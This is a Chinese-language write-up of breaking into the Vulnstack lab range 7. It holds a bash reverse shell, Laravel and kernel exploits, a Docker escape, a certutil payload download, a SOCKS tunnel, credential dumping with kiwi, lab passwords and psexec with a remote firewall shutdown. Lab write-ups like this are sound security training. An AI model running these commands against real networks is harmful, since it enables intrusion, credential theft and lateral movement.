Vulnstack内网靶场渗透(7)报告
前言
靶场下载链接:http://vulnstack.qiyuanxuetang.net/vuln/detail/9/
拓扑图:
环境信息
- DMZ区需要启动redis服务:
sudo redis-server /etc/redis.conf
- 第二层网络Ubuntu需要启动docker环境:
sudo service docker start
sudo docker start 8e172820ac78
- 第三层网络PC2需要启动通达OA
C:\MYOA\bin\AutoConfig.exe
0X00 外网渗透
目标IP:192.168.0.127
- 扫描IP端口
Nmap -p- T4 -A -v 192.168.0.127
开放22、80、81、6379端口,访问81端口发现Laravel框架
先尝试redis未授权访问
0X01 Redis未授权访问
由于目标开放6379端口,尝试连接redis测试是否存在未授权
Redis-cli -h 192.168.0.127
存在未授权访问
0X02 写入ssh公钥连接ssh
Kali写入公钥ssh(kali需要root权限下执行以下命令)
ssh-keygen -t rsa #生成公钥
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > f.txt #将公钥导入f.txt文件
cat f.txt | redis-cli -h 192.168.0.127 -p 6379 -x set hello #把f.txt文件内容写入目标主机的redis缓冲中
config set dir /root/.ssh # 设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys # 设置保存文件名为authorized_keys
成功通过公钥连接上ssh
进行简单信息收集,发现存在段192.168.52.xx
查看nginx配置文件是否存在反向代理
Cd /etc/nginx/conf.d
Cat 81.conf
0X03 利用Laravel框架漏洞反弹GetShell
工具:https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
Webshell工具:哥斯拉(2.92版本可连)
https://github.com/BeichenDream/Godzilla/releases/tag/v2.92-godzilla
python laravel-CVE-2021-3129-EXP.py http://192.168.0.127:81
用哥斯拉连接
进行简单信息收集,发现存在docker文件,当前应该在docker环境内,ip端是172
尝试反弹shell到kali进行提权,失败
利用之前redis拿下的ubuntu做vps
主机监听 nc -lvnp 1237
Bash -c ‘exec bash -i & >dev/tcp/192.168.52.10/1237 <&1’ #反弹shell
0X04 提权
尝试搜索SUID
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
发现可疑文件shell
执行shell
在demo.c源码中发现该脚本执行了PS命令
尝试修改$PATH来执行我们的恶意程序,从而获取root权限
Cd /tmp
Echo “/bin/bash” > ps
Chmod 777 ps
Echo $PATH
Export PATH=/tmp:$PATH #将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
成功获取root权限
再次将root权限shell反弹给第一台ubuntu
第二台ubuntu实际IP为192.168.52.20,所以要从docker中脱离出来
Docker特权模式逃逸
原理
使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载
fdisk -l #查看磁盘文件
ls /dev #查看设备文件
发现三个磁盘文件和N个设备文件,将/dev/sda1挂载到自己创建的文件夹看是否有利用的数据
mkdir f #创建名为f的文件夹
mount /dev/sda1 f #把sda1挂载到f
ls f
查看home文件时发现其中存在ubuntu用户,制作ssh公钥尝试连接
ssh-keygen -f f
chmod 600 f
cp -avx /f/home/ubuntu/.ssh/id_rsa.pub /f/home/ubuntu/.ssh/authorized_keys #avx是将权限也一起复制
echo > /f/home/ubuntu/.ssh/authorized_keys #清空authorized_keys文件
echo 'f.pub文件的内容' > /f/home/ubuntu/.ssh/authorized_keys #将ssh秘钥写入authorized_keys文件
ssh -i f ubuntu@192.168.52.20
成功登录到第二台主机
查看网络,发现存在93网段
内核提权(CVE-2021-3493)
exp: https://github.com/briskets/CVE-2021-3493
cd /tmp
vim exploit.c #将下载的exp内容粘贴到该文件中
gcc exploit.c -o exploit #编译exp
chmod +x exploit
./exploit
成功提权
内网渗透
MSF上线两台主机
添加路由
run get_local_subnets
run autoroute -s 192.168.52.0 -n 255.255.255.0
run autoroute -p
存活扫描
52段无其他主机
扫描93段存活主机
发现30、40主机且存在域
MS17_010
尝试利用ms17_010漏洞拿到主机
经扫描,30、40均存在此漏洞
尝试攻击
攻击创建成功,但是会话创建失败了
尝试使用命令执行模块攻击
搜集查询是否为域控
set COMMAND net group \”Domain controllers\” /domain
确认为域控主机
搭建SOCK5隧道
路由转发只能将msfconsole带进内网,而要想将攻击机上的其他攻击程序也带进内网还需要搭建socks代理。我们使用earthworm搭建socks5反向代理服务
ew工具:https://github.com/idlefire/ew
上传ew_for_linux64到kali
通过DMZ第一台ubuntu主机上传ew
kali开启监听,ubuntu运行
kali:./ew_for_linux64 -s rcsocks -l 1080 -e 1234
ubuntu:nohup ./ew_for_linux64 -s rssocks -d 192.168.0.136 -e 1234 &
配置proxychains,将socks5服务器指向127.0.0.1:1080,就可以使用proxychains将程序代理进第二层网络了
用MSF扫描第二层存活主机
发现192.168.52.30主机
扫描主机开放端口
proxychains4 nmap -Pn -sT -sV -F -O 192.168.52.30
发现开放http服务
物理机火狐做代理,物理机访问发现是通达OA
经测试改OA版本为V11.3,该版本存在任意用户登录、文件包含和文件上传等多个漏洞。
POC:https://blog.csdn.net/szgyunyun/article/details/107104288
构造请求包,bp返回路径
利用文件包含漏洞修改请求包路径,拿到shell
利用MSF创造powershell
用第一台ubuntu上传exe
ubuntu开启http服务
利用bp构造请求包执行下载命令
certutil.exe -urlcache -split -f http://192.168.52.10:1009/win7_9091.exe
在MSF里开启监听
bp制造请求包执行启动命令
成功上线
至此已经拿到3台主机
之前已经判断为域控
获取凭证(将该进程迁移到64位的进程上)
migrate +进程号
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords
成功抓取到域用户bunny和域管理员administrator的凭证
bunny:Bunny2021
administrator:Whoami2021
第三层内网渗透
建立隧道使kali直通93
使用MSF扫描主机存活
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.1-255
set threads 5
run
发现存活30、40主机
psexec攻击
使用psexec模块获取权限
use exploit/windows/smb/psexec
set rhosts 192.168.93.30
set lport 9999
set SMBUser administrator
set SMBPass Whoami2021
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.30
run
发现攻击失败,猜测是防火墙问题
利用第二层win7 IPC连接关闭防火墙
- net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"
- sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
- sc \\192.168.93.30 start unablefirewall
再次run,成功拿下DC
MS17_010永恒之蓝
由于40端口开放445端口,可以尝试利用永恒之蓝
成功拿下
至此拿下所有主机